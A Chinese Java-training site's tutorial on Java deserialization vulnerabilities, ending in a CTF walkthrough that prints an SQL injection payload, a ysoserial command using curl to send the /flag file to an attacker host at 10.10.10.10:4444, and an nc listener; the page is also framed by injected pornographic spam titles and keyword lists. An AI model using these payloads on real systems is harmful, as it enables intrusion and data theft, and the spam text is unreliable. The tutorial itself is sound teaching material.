大战熟女丰满人妻av-荡女精品导航-岛国aaaa级午夜福利片-岛国av动作片在线观看-岛国av无码免费无禁网站-岛国大片激情做爰视频

專注Java教育14年 全國咨詢/投訴熱線:400-8080-105
動力節點LOGO圖
始于2009,口口相傳的Java黃埔軍校
首頁 學習攻略 Java學習 簡述Java反序列化漏洞

簡述Java反序列化漏洞

更新時間:2022-06-29 10:40:37 來源:動力節點 瀏覽1897次

Java反序列化漏洞是什么?動力節點小編來告訴大家。

漏洞原理

我們需要保存某一個對象的某一一個時間的狀態信息,進行一些操作,比如利用反序列化將程序運行的對象狀態以二進制形式儲存在文件系統中,然后可以在另外一個程序中對序列化后的對象狀態數據進行反序列化操作回復對象,可以有效的實現多平臺之間的通信,對象持久化儲存。

漏洞必備知識點

1.序列化和反序列化

序列化 (Serialization):將對象的狀態信息轉換為可以存儲或傳輸的形式的過程。在序列化期間,對象將其當前狀態寫入到臨時或持久性存儲區。

反序列化:從存儲區中讀取該數據,并將其還原為對象的過程,稱為反序列化。

2.必備知識點:

JAVA序列化接口實現函數:

序列化:ObjectOutputStream–writeObject() 將序列字節寫到對象中 JAVA約定是給文件.ser拓展名

反序列化:ObjectInputStream–readOject() 從輸入流中讀取字節序列,再將其反序列化,返回

3.JAVA序列化數據流特征:

加密便于傳輸,不加密不容易閱讀傳輸,

數據流以為rO0AB開端,就是JAVA序列化的base64 加密

aced開端,JAVA序列化的16進制

涉及到以下函數,則考慮JAVA反序列化:

ObjectInputStream.readobject

ObjectInputStream.readUnshared

XMLDecoder.readObject

XStream.fromXML

ObjectMapper.readValue

JSON.parseObject …

漏洞檢測利用

1.黑盒檢測

數據格式點:

HTTP中請求的參數

自定義協議

RMI協議:RMI使用Java語言 接口 定義了遠程對象,它集合了Java序列化和Java遠程方法協議 ,簡單地說,這樣使原先的程序在同一操作系統的方法調用,變成了不同操作系統之間程序的方法調用,由于J2EE是分布式程序平臺,它以RMI機制實現程序組件在不同操作系統之間的通信。

2.白盒檢測

函數點:

涉及到下列函數可能設計JAVA反序列化

ObjectInputStream.readobject

ObjectInputStream.readUnshared

XMLDecoder.readObject

XStream.fromXML

ObjectMapper.readValue

JSON.parseObject …

3.利用

這里推薦一款只要涉及到JAVA反序列化一定會遇到的ysoserial

ysoserial是一款在Github開源的知名java反序列化利用工具,里面集合了各種java反序列化payload;

由于其中部分payload使用到的低版本JDK中的類,所以建議自己私下分析學習時使用低版本JDK JDK版本建議在1.7u21以下。

漏洞真題

1.注入判斷,獲取管理員帳號密碼:

根據提示附件進行javaweb代碼審計,發現可能存在注入漏洞

另外有swagger開發接口,測試注入漏洞及訪問接口進行調用測試

數據庫名:myapp,列名name,pwd

注入測試:

POST /common/test/sqlDict
dbName=myapp?a=’ union select (select pwd from user)#

2.接口測試

/swagger-ui.html接口測試:

{
“password”:“ctfhub_29588_13038”,
“username”: “ctfhub”
}

登錄成功返回數據:

{
“data”: “Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg==”,
“msg”: “登錄成功”,
“status”: 2,
“timestamps”: 1594549037415
}

3.回顯數據分析攻擊思路

JAVAWEB特征可以作為序列化的標志參考:

一段數據以rO0AB開頭,你基本可以確定這串就是JAVA序列化base64加密的數據。

或者如果以aced開頭,那么就是這一段java序列化的16進制。

分析數據:

先利用py2腳本base64解密數據

import base64
a = “rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu”
b = base64.b64decode(a).encode(‘hex’)
print(b)

再利用SerializationDumper解析數據

java -jar SerializationDumper.jar base64后的數據

4.生成反序列化payload

解密后數據中包含帳號等信息,通過接口/common/user/current分析可知數據有接受,說明存在反序列化操作,思路:將惡意代碼進行序列化后進行后續操作

利用ysoserial進行序列化生成

java -jar ysoserial-master-30099844c6-1.jar ROME “curl http://10.10.10.10:4444 -d @/flag” > xiaodi.bin #準備服務器反彈shell

利用py2腳本進行反序列化數據的提取

import base64
file = open(“xiaodi.bin”,“rb”)
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()

5.觸發反序列化,獲取flag

服務器執行:nc -lvvp 4444

數據包直接請求獲取進行反序列數據加載操作

以上是題目思路,最重要最基礎的一點需要知道JAVA反序列化數據流特征,以及相關函數。感興趣的小伙伴也可以看看Java反序列化工具,希望對大家能夠有所幫助。

提交申請后,顧問老師會電話與您溝通安排學習

免費課程推薦 >>
技術文檔推薦 >>
主站蜘蛛池模板: 久久久久久久综合色一本 | 亚洲精品美女国产一区 | 青青草这里只有精品 | 日本高清中文字幕 | 久久桃花 | 日本毛片大全 | 免费在线黄色网 | 精品久久久久不卡无毒 | 国产精品大片天天看片 | 国产欧美日韩综合二区三区 | 人人草人人干 | 亚洲人妖女同在线播放 | 欧美黄色网页 | 久久宗合色 | 免费视频精品一区二区三区 | 国产不卡免费 | 一级免费黄色毛片 | 91手机看片国产永久免费 | 国产一区亚洲一区 | 亚洲精品成人 | 91在线免费视频观看 | 在线免费精品视频 | 亚洲成人看片 | 国产精品每日更新在线观看 | 中文字幕在线欧美 | 99精品亚洲 | 日韩精品欧美成人 | 亚洲欧美精品国产一区色综合 | 国产农村一一级特黄毛片 | 手机在线观看亚洲国产精品 | 摸一摸操一操 | 久青草资源福利视频 | 成人区精品一区二区毛片不卡 | 精品久久久久久国产91 | 四虎影视在线看免费观看 | 四虎影院4hu | 亚洲 欧美 日韩在线综合福利 | 国产在线精品一区二区 | 婷婷激情网站 | 欧美黑人巨大肥婆性视频 | 欧美日韩高清一区 |